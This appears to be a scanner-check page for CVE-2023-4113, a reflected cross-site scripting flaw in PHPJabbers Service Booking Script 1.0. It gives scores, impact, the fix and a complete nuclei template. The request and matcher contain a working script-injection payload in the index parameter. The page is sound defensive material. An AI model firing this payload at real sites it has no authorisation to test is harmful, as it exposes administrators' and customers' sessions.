PHPJabbers Service Booking Script 1.0 - Cross Site Scripting

mediumseverity

6.1CVSS score

8.4%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A vulnerability was found in PHP Jabbers Service Booking Script 1.0. It has been declared as problematic. This vulnerability affects unknown code of the file /index.php. The manipulation of the argument index leads to cross site scripting. The attack can be initiated remotely.

Impact

Unauthenticated attackers can inject malicious JavaScript through the index parameter to steal session tokens and credentials of service booking system administrators and customers.

Fix

Update PHPJabbers Service Booking Script to a version newer than 1.0 that properly sanitizes the index parameter in pjFrontPublic controller.

How to confirm it

Send: GET {{BaseURL}}/index.php?controller=pjFrontPublic&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "Select Service(s)", "><script>alert(document.domain)</script>")

Run it with nuclei: nuclei -id CVE-2023-4113 -u <target>

The full check

id: CVE-2023-4113

info:
  name: PHPJabbers Service Booking Script 1.0 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability was found in PHP Jabbers Service Booking Script 1.0. It has been declared as problematic. This vulnerability affects unknown code of the file /index.php. The manipulation of the argument index leads to cross site scripting. The attack can be initiated remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the index parameter to steal session tokens and credentials of service booking system administrators and customers.
  remediation: |
    Update PHPJabbers Service Booking Script to a version newer than 1.0 that properly sanitizes the index parameter in pjFrontPublic controller.
  reference:
    - http://packetstormsecurity.com/files/173931/PHPJabbers-Service-Booking-Script-1.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4113
    - https://vuldb.com/?ctiid.235960
    - https://vuldb.com/?id.235960
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4113
    cwe-id: CWE-79
    epss-score: 0.08422
    epss-percentile: 0.95038
    cpe: cpe:2.3:a:phpjabbers:service_booking_script:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: service_booking_script
  tags: cve2023,cve,packetstorm,xss,php,jabbers,phpjabbers,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?controller=pjFrontPublic&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "Select Service(s)", "><script>alert(document.domain)</script>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from